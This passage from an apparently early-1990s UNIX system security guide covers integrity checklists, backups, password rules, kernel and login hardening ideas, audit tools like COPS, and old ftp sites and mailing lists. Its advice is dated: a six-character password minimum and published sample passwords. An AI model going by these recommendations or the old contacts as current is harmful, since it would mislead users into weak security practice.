will be preceded by a ">." If there is one line for a file, preceded by a "<," this means that the file has been deleted since the master checklist was created. If there is one line for a file, preceded by a ">," this means that the file has been created since the master checklist was created. If there are two lines for a single file, one preceded by "<" and the other by ">," this indicates that some attribute of the file has changed since the master checklist was created. By carefully constructing the master checklist, and by remembering to update it periodically (you can replace it with a copy of CurrentList, once you're sure the differences between the lists are harmless), you can easily monitor your system for unauthorized changes. The software packages available from the public software distribution sites implement basically the same scheme as the one here, but offer many more options for controlling what is examined and reported. Backups ------- It is impossible to overemphasize the need for a good backup strategy. File system backups not only protect you in the event of hardware failure or accidental deletions, but they also protect you against unauthorized file system changes made by a cracker. A good backup strategy will dump the entire system at level zero (a "full" dump) at least once a week. Partial (or "incremental") dumps should be done daily. Know Your System ================ Aside from running large monitoring programs such as those described in the previous sections, simple everyday UNIX commands can also be useful for spotting security violations. By running these commands often, whenever you have a free minute (for example, while waiting for someone to answer the phone), you will become used to seeing a specific pattern of output. By being familiar with the processes normally running on your system, the times different users typically log in, and so on, you can easily detect when something is out of the ordinary. ls -- To really know how your system is set up, you need to know what files should or shouldn't be on your disks. Doing an `ls' periodically, will give you a better feel for what is out there. It may also show you suspicious files left by earlier intruders, faulty programs, or the former keepers of your machine. Be sure to use the `-a' option to catch the infamous `...' directory. (Of course, remember that `.' and `..' are supposed to be there.) ps and top ---------- `Ps' displays information about processes. Normally, only those processes that are started by you and are attached to a controlling terminal are shown. Additional categories of processes can be added to the display using various options. In particular, the `a' option allows you to include processes that are not owned by you (that do not have your user ID), and the `x' option allows you to include processes without control terminals. `Top' displays the top 15 processes on the system and periodically updates this information. Raw cpu percentage is used to rank the processes. If number is given, then the top number processes will be displayed instead of the default. This allows you to monitor your system for a certain period of time and see what process are using the CPU heavily and which ones aren't. On Convex systems, there is an equivalent program called 'syspic'. who and finger -------------- The `who' command displays the list of user currently logged in on the system. By running this periodically, you can learn at what times during the day different users log in. For long `who' listings, you can use the `users' command instead. If you would like more information about the users logged in, use the `finger' command. It's output is like: $ finger Login Name TTY Idle When Where joeuser Joe E. User *p0 Wed 12:01 ws1.cs.podunk.edu simpsonb Bart Simpson p4 Wed 15:33 ch5.fox.tv.com Improving Your Security *********************** "It will only take a minute." -- A UNIX Programmer Even after closing the numerous well-known security holes throughout your system, security must remain that the forefront. You need to gather and write tools to maintain your security level. These tools can be in the form of policies to enforce, monitoring software, and learning where to go for help. The thought of continuously improving the overall security must remain resident. Policies ======== Policies are very important on computer systems. They dictate how a user is supposed to act while using your resources. Although in some environments it is difficult enough to set a policy, it is much more of a problem to enforce. Password Policies ----------------- There are several guidelines one should follow when selecting a password. Here are some DO's and DON'T's: + DO use a password with mixed-case alphabetics. + DO use a password with NON-alphabetic characters, e.g., numbers and/or punctuation. + DO use a password that contains AT LEAST six characters. - DON'T use your login name in any form (as is, reversed, capitalized, doubled, followed by a digit, etc.) to construct your password. - DON'T use your first, middle, or last name in any form. - DON'T use the name of a spouse, child, girlfriend, etc. - DON'T use other information easily obtained. This includes your license plate numbers, telephone numbers, social security number, the brand of your automobile, street name, etc. - DON'T use a password of all numbers, or all the same letter (e.g., 123456, 999999, AAAAAA). This significantly decreases the search time for a hacker. - DON'T use a word contained in (English or foreign) dictionaries, spelling lists, or other lists of words. Now here are some suggestions on how to choose a good password: * Choose a line or two from a song, poem, or phrase and use the first character of each word. For example: Don't have a cow man! -- Bart Simpson becomes: Dhacm!BS * Alternate between one consonant and one or two vowels, up to eight characters. This provides nonsense words that are usually pronounceable, and thus easily remembered. Examples include: routboo, quadpop, and so on. * Chose two short words or acronyms and concatenate them together with a punctuation character between them. For example: dog;rain, book+mug, DoD$shoe * Some miscellaneous examples: [IIsir] A catchy phrase within brackets u7sCaGf 7CG inside usaf -=>99<=- Something simple for hockey fans 100%=A+ A password you "grad" students can remember !!URdead A little something for those on the "front" Also remember that the "unprintable characters" can be used as part of your password. These keys include the ESCape key and characters made up by holding down the control (Ctrl) key and pressing an alphabetic character. Be sure NOT to use keys that might have special meaning to your terminal package. These include: * s * h * | * # * @ Software Policies ----------------- Software can be categorized in many ways. It can be referred to as: 1. Proprietary 2. Locally written 3. Public Domain 4. GNU 5. Shareware Each of these categories are different when it comes to licensing agreements, but when it comes right down it, a system manager has only two types of software: supported and unsupported. Supported software is easy to deal with. When there is a bug, you contact the person or companies that supports that piece of software and work with them to get adequate corrections. Support can be given via a local department, a vendor, or a third party. Unsupported software is software that your organization does not officially support, but they do recognize that it is on the system and is being used by the user community. This software should be installed under a seperate directory than the locally written software, but will follow the same directory structure. There should be NO WARRANTY as to the effectiveness or usefulness of these programs. It should be assumed that they are reasonably secure. This does NOT infer that they have been thouroughly checked for possible security holes, but that they have been lightly checked over and appear safe for general use. There are a lot of useful and productive software packages that should not be thrown away because your local support and vendors do not provide them. Some the best software available is free. For example: GNU Emacs An extensible self-documenting text editor GCC GNU's highly rated C compiler University Ingres A scaled version of the Ingres Relational database X-Windows A windowing system written at M.I.T. RCS Revison Control System Countermeasures =============== Below are some thoughts on how to counter security problems. They may not all be useful, but they can provoke thought on how to handle local concerns. 1. Periodically search the inode tables on all file systems for setuid programs owned by root and executable by ordinary users. Compare results with a list of known legitimate programs of this kind. This is complicated by the existence of groups and setgid, requiring further logic to detect all dangerous cases. Also search inodes to look for special files outside the `/dev' directory. Restrict root logins and `su'-ing to the super-user account(s) to a very restricted group of terminals; e.g. thoses inside the computer room. This could be done under control of the `/etc/ttys' file, but it is safer if it is written right into the code. Modify the `su' program so the user has to invoke it as `/bin/su', to foil alternate `su' programs hidden in other places that are actually password grabbers. This could also be done with the `do' command. 2. Keep a log of every `login' or `su' to the root account. Best to keep the log in a file for easy on-line examination and also to print the information on the console in case an intruder removes or edits the log file. 3. Develop a comprehensive plan for access to and control of all system files. That is, identify which files and directories need to be readable and writable by which users. Set up ownerships and groups to minimize the need for use of super-user status. An added benefit of this is a reduced number of accidents by legitimate super-users making mistakes. Write a script to check and correct permissions. 4. Possibly don't allow login to root at all; make it accessible only through `su'-ing from a known account and `do'-ing from known "doers". The purpose is so that every entry to the super-user account is from some other account and can be logged, so we know in every case who became super-user. Question is whether to make root absolutely impossible to log into, by giving it an impossible password, and then modify `su' to let any certified good guy into root without a password (same as having do all privileges), or do we keep the password and modify login to refuse direct `login' as root. 5. Periodically check the `password' and `group' files for improper entries or defective lines. Save the `password' file every night and compare with previous day's file, then examine `diff' listings for bogus accounts. 6. Encourage users to encrypt all sensitive text, both because of occasional intrusions and because they shouldn't trust the super-user. (Note, however, that the encryption program supplied with the system is not very secure. In fact there are now tools widely distributed that will break this encryption with a few minutes of work). 7. Staff should, at odd hours, scan the system for signs of strange activity, or for files that don't look quite right. It is helpful to have seperate login names for this purpose, so it isn't so obvious when it is being done. 8. Periodically compare binary files of setuid-root programs with known good copies stored off line. Same for other sensitive programs (those run by `cron' or `init'). Or compute checksums on binaries, save them somewhere, and periodically recalculate and compare with stored values. 9. It may be useful to set up uids for particular purposes and use programs that are setuid something other than root. This technique reduces the number of programs that have to be setuid root, but unless carefully applied it can decrease security by making too many uids sensitive. It seems wise to have an owner other than root for all files that have to be writable by everybody, as a file owned by root and writable by someone else is always a potential burglar tool. Use setgid rather than setuid if possible, since it is more restrictive. 10. It is important to keep source of the operating system and commands unreadable by ordinary users. Having source available makes it easier for the intruder to prepare trap doors or discover already existing holes. It is nice if source can be kept on a physically dismountable file system to be mounted only when it is being used. Second best is a file system that can be write locked with a switch when the staff is not using it. NFS provides such a capability. 11. Staff with super-user privileges must be trained never to run a user-preferred program while running as super-user. 12. Keeping dot out of the super user command search path helps prevent inadvertent running of user programs while super-user. This must extend to users who have `su'-ed to root from their own accounts. 13. Periodically scan the directories for names containing unprintable characters and other oddities. These are often a sign of mischief. Likewise, files in a user directory not owned by that user. 14. Develop a procedure (shell script or program) which automatically runs the whole gamut of security auditing and correcting operations. This should be run at odd hours, and preferably should suppress listing what it is doing in a `ps' listing. 15. Have a policy on what to do with intruders when caught. My feeling is that penalties should be based on damages rather than on accomplishment; e.g. the person who breaks into the system and does no damage and tells us how he did it gets a reward, while the person who steals or destroys another's work or makes the system inoperative gets punished. Milder punishment for one who doesn't do any damage but doesn't report finding a hole in the system. Others disagree strongly with this proposal, and insist that for reason of professional integrity all illegitimate uses of the system should be punished, regardless of actual damages or lack thereof. New laws make any kind of penetration a criminal act; but, there is a lot to be learned about how to get evidence in these cases. 16. Change the default user mask to 077. Then a user has to act, and thus hopefully think, before moving into a more dangerous domain. Naive users then have to learn how to reduce security rather than how to increase it. 17. Change the default mode for users' terminals to 0600 at login time. Keep it at 0600 always when the terminal is not logged in. This is to guard against spoofers who open a terminal from a program that simulates the login program and catches passwords. It also guards against someone other than the owner changing modes and similar unkind things. 18. Modify the kernel to prevent creation of core files when the user is running setuid or setgid. When core files are created they should be mode 600. 19. Modify the kernel so that users can't link to files they can't read. Such linking is not inherently unsecure, since the user can't do anything with a file he has linked to, but it is clearly unnecessary and makes it easier for the user to get away with something by other techniques. Unfortunately this does not work for symbolic links. A user can create any desired directory structure within his own home directory, make a symbolic link of the form `../../../foo/bar' within that structure, and then `mv' the symbolic link so that it points to some other file elsewhere in the system. 20. Modify `atrun' so it won't run a file submitted by root. This is to forestall all the devious ways of getting a user file owned by root into the `at' spool directory. This is no real inconvenience in running the system, since `cron' can always be used for privileged operations at later hours. 21. Modify the kernel to provide a group having no privileges. Make this the login group for root and staff members, so that by default we don't create programs with group privileges. This will be the default group for all sensitive programs and files. 22. Consider making operator functions directly executed at login, rather than having an account for the operators. The reason for this is that the operator password rarely changes and has to be widely known. 23. Designate a person to receive reports of penetration attempts and keep them filed. 24. Develop a program to check object files for system calls that are reserved for the super user. This is a quick way to check whether an object file contains a trap door, without having to compare it with a known good object. This will produce a certain amount of unwanted output but we should soon learn what to ignore. 25. Modify the kernel so that setuid-root programs are executable only if they reside on rootdev. This cuts down greatly the amount of territory that needs to be scanned for burglar tools. (Scanning should still be done occasionally over the whole system to discover users who possess burglar tools, even though they are ineffective.) If a separate disk spindle or partition is available for `/tmp' then nothing on the root device is writable by an ordinary user, making it all the harder for one to get a privileged program of his own. Sun has gone further in making `nosetuid' an option for all mountable file systems. 26. Modify the kernel so that special files can be opened only if the inode resides on rootdev. This make ineffective any special file inodes in user accounts where they shouldn't be. 27. Log on console whenever a file is owned by root and gets its setuid bit turned on. (On 4.xBSD VMUNIX also sends the message to the user with uprintf(). This is done so the super user will be warned if he does some command which has a side effect of doing setuid-root for somebody.) 28. In writing programs that must run privileged, it is a good practice to do all the privileged actions first and then drop privileges as soon as possible. This makes it easier to examine the program to see that it does in fact handle it privileges with discretion. 29. Modify `mail' so that it does not `chown' a file that has more than one link. Also make the `/usr/spool/mail' directory unwritable by ordinary users, and have the `mail' program truncate `/usr/spool/mail/name' files to zero length when it is unable to remove them for this reason. 30. Modify `write', `mail', etc. programs so they cannot transmit non-printing characters to the recipient. This is to foil those that change terminal modes mischievously or send commands to block mode terminals. 31. Disallow non-super users from setting the setuid bit on files. For the few legitimate needs for this setting the user can apply to the system manager to have the bit set. This foils the Trojan horse in a program proffered by one user to another which has the side effect of creating a setuid shell owned by the victim. At the University of California at Santa Cruz, this was made a compile-time option of the kernel, so that it can be turned on or off for the various kinds of users/machines there. 32. Programs in general should be executable only, not readable and executable. Prevent users from getting private copies of programs, from reading programs for possibly-confidential filenames, etc. Stripping symbol tables from commands is also a good idea, both to save disk space and to make it harder for the user to pick at them. 33. The system administrator should periodically run the best available password guessing program and warn users whose passwords are guessed. 34. Modify `write' to accept input only from a tty. This will keep users from redirecting humongous files, such as `/usr/dict/words' to a users terminal. 35. 4.3BSD offers some alternative ideas on terminal protection. All terminals have group ownership of the tty group, which is used for no other purpose. Then to allow writing to his terminal, the user makes it writable to the group. The `write' programs run setgid tty and can open the terminal for writing if group write permission is set. This seems safe, since only ttys are in the special group; the user can't create a file owned by himself and group-owned by the tty group. Similarly, there are other special groups for very restricted purposes. Disk special files are group owned and readable by an operator group, which allows operators to do file backups. Only the dump program uses this group; and it is executable only by members of the group. 36. Modify the `login' program to make it harder for spoofers by reading a file `.secret' from the user's home directory to get a string to use in prompting for password. The `login' program, being privileged, is able to read this file; the spoofer is not, and is not likely to keep a list of login names and secret prompts to search when someone runs his program. Associated with this is another change to `login' program such that on the third unsuccessful login attempt the program sleeps for twenty seconds and exits. This is to make it more time-consuming for a potential spoofer writer to try logging in to every account to compile a list of secret prompts. While this doesn't provide real authentication it does help. Users would probably like the idea because their private password prompts can be cute. This has been implemented at UCSC. Someone has suggested that this might be foiled by a spoofer that gets the login name, opens a pseudo tty, tries to login on that pseudo with the login name, gets the personal password prompt that way, gives it to the user and collects the password. A note from Jim Haynes from UCSC: Perhaps as a result of the `.secret' files, we have seen a lot less spoofing lately and a lot more of password guessing using modern high-performance guessers. These tend to avoid detection by being run on the intruder's personal computer or some other computer on a network. Otherwise we examine long-running programs to see if they are password guessers. (Use gcore and strings on the core image) One way to foil these is the use of "shadow" password files, in which the encrypted passwords are not visible to the non-privileged users. Shadow password files are no help if the attacker is after a particular account and its password is well-chosen; but if he will settle for any account on the machine, then he is likely to find a few if he can get the encrypted passwords. Software Tools ============== Because security is of great concern to many sites, a wealth of software has been developed for improving the security of UNIX systems. Much of this software has been developed at universities and other public institutions, and is available free for the asking. COPS ---- COPS is a collection of about a dozen programs that each attempt to tackle a different problem area of UNIX security. Among the areas checked are file, directory, and device permissions/modes, passwords, contents of password and group files, the contents of `/etc/rc' and `cron' files, changes in SUID status, the writability of users home directories and startup files as well. It also includes the Kuang expert system, written by Bob Baldwin, that takes a set of rules and tries to determine if your system can be compromised. For a more complete list of all of the checks, look at the file `release.notes' or `cops.report' in the COPS distribution. All of the programs merely warn the user of a potential problem -- COPS DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS IT FINDS! COPS either mails or creates a file (user selectable) of any of the problems it finds while running on your system. And because COPS does not correct potential hazards it finds, it does not have to be run by a privileged account (i.e. root or whomever.) The only security check that should be run by root to get maximum results is the SUID checker; although it can be run as an unprivileged user, to find all the SUID files in a system, it should be run as root. UPDATE: The latest release of COPS is Version 1.02 and is currently being rewritten in PERL to increase the overall speed of the package. COPS is PERL is slated for release in April 1991. DES Zip ------- The `Fast Encryption Package' written by Matt Bishop is a package designed to help a site improve password security. These tools and their associated library enable a site to force users to pick reasonably safe passwords and enable site management to try to crack existing passwords. The library contains various versions of a very fast implementation of the Data Encryption Standard and of the one-way encryption function used to encrypt UNIX passwords. Passwd ...... This version of `passwd' tests passwords to ensure that they conform to your site's requirements for a secure password. These requirements are defined within a configuration file that can be easily modified as your site's requirements change. It will also allow knowledgable users to change their default shell to one that the system accepts as legitimate, as defined by `/etc/shells'. GECOS information can also be updated to help insure correctness. Password Cracker ................ A password cracker is also provided to allow administrators check the password file to insure poorly chosen passwords were not used. If the `password' program distributed with the DES zip package is used and a decent configuration file is written, this will reduce the number of passwords found on your system. Some of the options available on the password cracker are: * Use of word lists such as `/usr/dict/words' * Checkpointing * Check login names forwards and backwards * Check GECOS field information * Automatically report and mail nasty-grams to offenders Npasswd ------- The `npasswd' command, developed by Clyde Hoover at the University of Texas at Austin, is intended to be a replacement for the standard UNIX `passwd' command, as well as the Sun `yppasswd' command. `Npasswd' makes passwords more secure by refusing to allow users to select insecure passwords. Project Athena -------------- Here is a note by Dr. Daniel E. Geer, Jr. about Project Athena at M.I.T. I have slightly changed the format to make it more useful for this paper. There are certainly more features than the ones detailed below, but the gathering of this information is left to the interested reader. This is an overview of the Athena model of (distributed) computation and a brief, annotated list of the Athena modules, per se. As with any complete system in actual use, a prose summary will fail to mention a goodly number of minor applications. Following this discussion, please refer to the Project Athena Technical Plan for the most complete treatment now available. We also enclose a customer service level description of the Athena environment, written for the benefit of MIT faculty. The model of computation of the Athena environment is that of network services. We view the workstation as a user agent, a dataless node able to access a range of services from the network using protocols specific to the task at hand and/or remote procedure calls. Workstations are a commodity in our environment, and inherit their run-time characteristics from the service environment in which they reside as amended by user preference. Configuration is centrally managed, but locally modifiable. For our core hardware base, coherence of the application programming interface is provided. Outside that core, coherence of the network service layer is provided. The ability to scale up to large installations (order ten thousand hosts) is purposeful, maintained by design strategies ensuring that normal operation contains no cost components linear with either the number of hosts or the number of user or service entities in that environment. The system is in full production and in daily use on approximately one thousand workstations and servers. The system currently runs on BSD Unix and Ultrix on hardware platforms consisting of the IBM PC/RT and Digital VAXstations and DECstations. It is written entirely in C and can easily be ported to other hardware environments. The X Window System, applications, & libraries .............................................. X is a network transparent, device independent, vendor neutral window system. Defined by its protocol, it supports full featured use of all points addressable displays, including, but not limited to, drawing text and graphics, full motion video, color and monochrome, and has abstraction layers suitable for construction of highly portable applications. Hesiod nameservice, applications, & libraries ............................................. The Hesiod nameservice is an application programming interface layer over a standard substrate, viz. the Berkeley InterNet Domain (BIND) nameservice. It provides a standardized way to expand partial resolution requests, and represents a simple abstraction layer for applications to provide location independence in a network services environment. It provides similar functionality to the Sun's Yellow Pages, but with differnet tradeoffs. Hesiod is more secure, scales up to larger communities, and does not make excessive use of broadcast packets, but is somewhat more difficult to setup and maintain. Kerberos authentication service, applications, & libraries .......................................................... Kerberos is a network communications security support system, providing authentication for an open network environment. Modelled on the Needham & Schroeder trusted third party protocol, it provides provable authentication of claimed identities in the presence of untrusted hosts and untrusted nets. It provides the application writer with a simple library for network authentication while it offers a sophisticated administration model to the wide area systems manager. Kerbersos version 4 is currently in daily use at MIT and other institutions worldwide. It uses the Data Encryption Standard for the encryption. Version 5 is being implemented, and will provide more features such as the ability to substitute other encryption systems and cleans up some problems with the version 4 code. Kerberos Version 5 may be proposed as an Internet Elective Standard through the RFC process. Zephyr notification service, applications, & libraries ...................................................... Zephyr is a wide area, multicast, subscription based messaging system. It supports arbitrary typecasting on messages, thereby permitting Zephyr to be used as a common carrier to messages of whatever type yet without central registration of those types. The practical applications of this system include operational control as well as rendevous applications such as OLC (vide infra). Moira service management system, applications, & libraries .......................................................... The Moira system permits aggregation of all the control information required to operate the campus into a single, tightly controlled and pangyric database. It contains a database interface server, a number of client programs, a data control manager, and various update listeners that run on a wide variety of servers as required. The particular database technology is concealed behind an abstraction layer. The availability of the Kerberos authentication system, the Hesiod nameservice, and the Ingres database system are prerequisites for the operation of Moira. OLC system, applications, & libraries ..................................... The On-Line Consulting (OLC) system is a rendevous mechanism, connecting an individual with a question to another individual with the answer. Intended for the naive user, OLC permits a bootstrap operation for nearly any type of use difficulty in the Athena environment. The server side of OLC also provides a stock answer browser and management and q.a. related logging of transactions. The availability of the Kerberos authentication system, the Hesiod nameservice, and the Zephyr notification system are prerequisites for the operation of OLC. RVD diskblock service and associated kernel modifications ......................................................... Remote fileservice is a requirement for even small batches of workstation hosts. The filesystem, if readonly, can be managed using the cpu horsepower of either end of the connection as indicated by a load management policy. In the case of Athena, it is important to have the client to server ratio be at a maximum, and so it is indicated to make the client end of the fileservice connection do the filesystem traversal operation. In short, a block server is the indicated strategy, and the Remote Virtual Disk (RVD) system is an exemplar answer to this design point. RVD is an MIT LCS product heavily modified by Athena. It is highly unlikely to become a commercial product. GMS global message system ......................... The traditional Unix login-time announcement mechanism of displaying the contents of the file /etc/motd is not maintainable in a wide area workstation environment. In addition, the contents of that file may change on a schedule dynamically different from that of the rest of the software suite, necessitating maintenance and writeability constraints on the whole software suite unsuitable on behalf of that one file. Instead, the Athena environment includes a global message service (GMS) that permits the retrieval of the message of the day from a server, comparison of the message retrieved with messages already viewed by the user, and display of the relevant or the explicitly requested message. In this way, the GMS facility is a mix of the functionality provided by the /etc/motd and mesg mechanisms. substantially revised version of the T shell (tcsh) The basic shell known as the C shell (csh) is the user interface of default or choice, depending on opinion, in the BSD environment. Athena has made moderately extensive changes to the command line operation of the C shell mimicing a Tenex shell known as the T shell. These changes are made to a product owned only by UCB, not AT&T, and can be distributed in difference form if required. All the Athena user community uses this modified shell, as do many persons outside that community. Discuss conferencing system, applications, & libraries ...................................................... Discuss is a multi-user, location transparent, server arbitrary conferencing system modelled on the old Multics forum system. A button-and-mouse interface also exists, but is inherently inferior as it cannot catch the full flexibility of the command line interface. Configured by individual systems managers, a user need not know the location of the service. The supported user interface is the lowest common denominator, purely a command line interface, but a button and mouse interface is in preparation. Palladium print services system, applications, and libraries ............................................................ The Palladium print services system is an implementation of the standard for print systems as proposed to ISO by ECMA. It is a complete and modern print system, in the distributed services paradigm. It supports arbitrary connection trees between logical and physical print queues, printing local to the workstation, filtration of print streams including redirection of print jobs on the basis of filter output, accounting, remote management of both print services and individual print jobs, and an RPC interface that is vendor neutral, device independent, and consistent across both print servers and supervisors. On-Line Help (OLH) .................. The OLH system is a complete access to help services for the distributed computing environment. It includes both character and display oriented user interfaces, and references both static (text) and interactive help services (such as OLC, vide supra). Its user interface is, of course, transparently easy to use. Providers of services can attach their help system to the global OLH dynamically, such as at the time of the initial service connection, without any requirement of central administrative overhead. Where to go for Fixes ===================== Several sites on the internet maintain large repositories of publically available and freely distributable software, and make this material available for anonymous ftp. It is best to attempt to obtain the software locally if at all possible. For general information locally, you can contact via E-mail security@hq.af.mil. Sun Microsystems ---------------- Sun Microsystems has contracted with UUNET Communications Services, Inc. to make fixes available via anonymous ftp. You can access these fixes by using the `ftp' command to connect to the host ftp.uu.net. The fixes are located in the directory `sun-fixes'. Berkeley Software Distribution ------------------------------ The University of California at Berkeley also makes fixes available via anonymous `ftp'; these fixes pertain primarily to the current release of "BSD UNIX" (currently release 4.3). However, even if you are not running their software, these fixes are still important, since many vendors (Sun, DEC, Sequent, etc.) base their software on the Berkeley releases. The Berkeley fixes are available for anonymous `ftp' from the host ucbarpa.berkeley.edu in the directory `4.3/ucb-fixes'. The file `INDEX' in this directory describes what each file contains. Berkeley also distributes new versions of `sendmail' and `named' from this machine. Simtel-20 and UUNET ------------------- The two largest general-purpose software repositories on the Internet are the hosts wsmr-simtel20.army.mil and ftp.uu.net. wsmr-simtel20.army.mil is a TOPS -20 machine operated by the U. S. Army at White Sands Missile Range, New Mexico. The directory `pd2:' contains a large amount of UNIX software, primarily taken from the `comp.sources' newsgroups. Ftp.uu.net is operated by UUNET Communications Services, Inc. in Falls Church, Virginia. This company sells Internet and USENET access to sites all over the country (and internationally). The software posted to the following USENET source newsgroups is stored here, in directories of the same name: comp.sources.games comp.sources.misc comp.sources.sun comp.sources.unix comp.sources.x Numerous other distributions, such as all the freely distributable Berkeley UNIX source code, Internet Request for Comments (RFCs), and so on are also stored on this machine. Vendors ------- Many vendors make fixes for bugs in their software available electronically, either via mailing lists or via anonymous `ftp'. You should contact your vendor to find out if they offer this service, and if so, how to access it. Who to ask for Help =================== One of the most difficult things about keeping a system secure is finding out about the security holes before an intruder. To combat this, there are several sources of information you can and should make use of on a regular basis. security@hq.af.mil ------------------ This mailing alias on the host hq.af.mil receives and distributes security related information to the local security weenies. If there are any security related questions about HQ USAF-LAN hosts, this is a good place to start. The Computer Emergency Response Team ------------------------------------ The Computer Emergency Response Team (CERT) was established in December 1988 by the Defense Advanced Research Projects Agency to address computer security concerns of research users of the Internet. It is operated by the Software Engineering Institute at Carnegie-Mellon University. The CERT serves as a focal point for the reporting of security violations, and the dissemination of security advisories to the Internet community. In addition, the team works with vendors of various systems in order to coordinate the fixes for security problems. The CERT sends out security advisories to the cert-advisory mailing list whenever appropriate. They also operate a 24-hour hotline that can be called to report security problems (e.g., someone breaking into your system), as well as to obtain current (and accurate) information about rumored security problems. To join the cert-advisory mailing list, send a message to security@hq.af.mil requesting to be added. HQ receives the mailings directly from CERT and distributes it locally to cut down on internet traffic. Past advisories are available for anonymous `ftp' from the host cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090. DDN Management Bulletins ------------------------ The "DDN Management Bulletin" is distributed electronically by the Defense Data Network (DDN) Network Information Center under contract to the Defense Communications Agency. It is a means of communicating official policy, procedures, and other information of concern to management personnel at DDN facilities. The "DDN Security Bulletin" is distributed electronically by the "DDN SCC" (Security Coordination Center), also under contract to DCA, as a means of communicating information on network and host security exposures, fixes, and concerns to security and management personnel at DDN facilities. Anyone may join the mailing lists for these two bulletins by sending a message to nic@nic.ddn.mil and asking to be placed on the mailing lists. Mailing Lists ------------- There are several other mailing lists operating on the Internet that pertain directly or indirectly to various security issues. Security ........ The unix security mailing list is a by invitation only mailing list and contains sensitive material which SHOULD NOT BE REVEALED to non-members. It exists to notify system administrators of security problems before they become common knowledge. For more information about this list contact security@hq.af.mil. RISKS ..... The RISKS digest is a component of the ACM Committee on Computers and Public Policy, moderated by Peter G. Neumann. It is a discussion forum on risks to the public in computers and related systems, and along with discussing computer security and privacy issues, has discussed such subjects as the Stark incident, the shooting down of the Iranian airliner in the Persian Gulf (as it relates to the computerized weapons systems), problems in air and railroad traffic control systems, software engineering, and so on. To join the mailing list, send a message to risks-request@csl.sri.com. This list is also available in the USENET newsgroup comp.risks. VIRUS-L ....... The VIRUS-L list is a forum for the discussion of computer virus experiences, protection software, and related topics. The list is open to the public, and is implemented as a mail reflector, not a digest. Most of the information is related to personal computers, although some of it may be applicable to larger systems. To subscribe, send the line SUB VIRUS-L your full name to the address listserv%lehiibm1.bitnet@mitvma.mit.edu. Sun-{Spots, Nets, Managers} ........................... The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups for users and administrators of systems supplied by Sun Microsystems. SUN-SPOTS is a fairly general list, discussing everything from hardware configurations to simple UNIX questions. To subscribe, send a message to sun-spots-request@rice.edu. This list is also available in the USENET newsgroup comp.sys.sun. For those that use Sun-386i machines, there is a mailing list dedicated to that platform. It is a "spin-off" of SUN-SPOTS. Send mail to mail-list-mgr@hq.af.mil for more information. SUN-NETS is a discussion list for items pertaining to networking on Sun systems. Much of the discussion is related to NFS, Yellow Pages, and name servers. To subscribe, send a message to sun-nets-request@umiacs.umd.edu. We (at hq.af.mil) receive this list locally and would be more than happy to redistribute it. Just send mail to mail-list-mgr@hq.af.mil. It is also gatewayed to a local USENET news group usaf.sysadmin.sun-nets for your reading convenience. SUN-MANAGERS is a discussion list for Sun system administrators and covers all aspects of Sun system administration. To subscribe, send a message to sun-managers-request@eecs.nwu.edu. Again, hq.af.mil receives this list locally and is willing to redistribute it. It, too, is gatewayed into a local newsgroup usaf.sysadmin.sun-managers. USENET ------ Many UNIX users are not aware that they have virtually free access to USENET, a sort of super bulletin board on which an estimated 150,000 UNIX users at 5,000 sites exchange news and views on over 250 different topics. USENET is by far one of the greatest network resources available. It is a significant resource for the professional, social, and recreational needs of UNIX (computer) users. It is easy to use and rewards its users often. Hq.af.mil currently receives a "full feed" of USENET newsgroups and supports nntp. Our feed includes: comp.computer systems and technology news.discussions of USENET itself rec.recreation activities (the arts, entertainment, ...) sci.science and technology soc.society and culture, social issues, ... misc.topics that don't fit under one of the top 5 broad areas such as items for sale, jobs, legal issues, ... talk.Free-wheeling, often heated discussions on philosophy, politics, religion, and so on gnu.Information about the Free Software Foundation and it's work. There are literally thousands of newsgroups that allow you to draw information from them. It is certainly worth the time to check out. Of course there are newsgroups that are certainly going to interesting to everyone, I certainly don't read comp.lang.intercal, but for those interested, it is available. There is a newsgroup for everyone. We have also implemented several local newsgroups: usaf.7cgItems of interest for 7CG personnel usaf.osdItems of interest for OSD personnel usaf.general.miscMisc. items of interest usaf.general.newuserPlace for new users to ask questions usaf.sysadmin.bindBerkeley BIND mailing list usaf.sysadmin.pem-devPEM-DEV (Private E-Mail) mailing list usaf.sysadmin.snmpSNMP mailing list usaf.sysadmin.sun-managersSun Managers usaf.sysadmin.sun-netsSun Nets ... Local newsgroups can be added for the interests of anyone. One that might be useful is usaf.sysadmin.office-power. A newsgroup for emergency postings could be called usaf.emergency. The potential uses are endless. For information regarding access to hq's USENET feed send mail to news@hq.af.mil. Where to go for Tools ===================== The internet is a big place. It is certainly easy to get lost amongst all of the sub-networks and hosts out there and to find that certain little piece of software that you heard about from a friend that saw it in a posting on USENET which was actually a note from a guy at Podunk.edu which only rumored of it's existence. Well, there really is hope. There are some major sites worth checking first based on what you are looking for: +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Site Name I.P. Address Description +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ aeneas.mit.edu 18.71.0.38 GNU emacs, kerberos, Athena ajpo.sei.cmu.edu 128.237.2.253 all the ADA you could ask for anise.acc.com 129.192.64.22 Berkeley utils ported to A/UX arthur.cs.purdue.edu 128.10.2.1 RCS, buildtex, deTeX, mac dftsrv.gsfc.nasa.gov 128.183.10.134 VMS stuff emsworth.andrew.cmu.edu 128.2.30.62 Andrew Toolkit expo.lcs.mit.edu 18.30.0.212 X, portable bitmaps, CLX and CLUE jpl-devvax.jpl.nasa.gov 128.149.1.143 perl, patch, warp labrea.stanford.edu 36.8.0.47 GNU, X, official TeX sources lll-lcc.llnl.gov 128.115.1.2 Sun Local Users Group arch. merlin.cs.purdue.edu 128.10.2.3 ConcurrenC, Xinu, mac, GIF nic.ddn.mil 10.0.0.51 netinfo, RFCs, IEN, IETF nisc.nyser.net 192.33.4.10 GNU Emacs, GOSIP, Nysernet, IETF postgres.berkeley.edu 128.32.149.1 University INGRES pyrite.rutgers.edu 128.6.4.15 Security mailing list archives titan.rice.edu 128.42.1.30 sun-spots, Lots of Sun source tut.cis.ohio-state.edu 128.146.8.60 GNU, tcsh, Elisp, ... uunet.uu.net 192.48.96.2 usenet archives, much more vgr.brl.mil 192.5.23.6 info-iris, brl-cad, bump, ttcp Eventually, under the Help and Utilities category of Network User Services (NUS), there will be a large list of internet ftp sites for easy 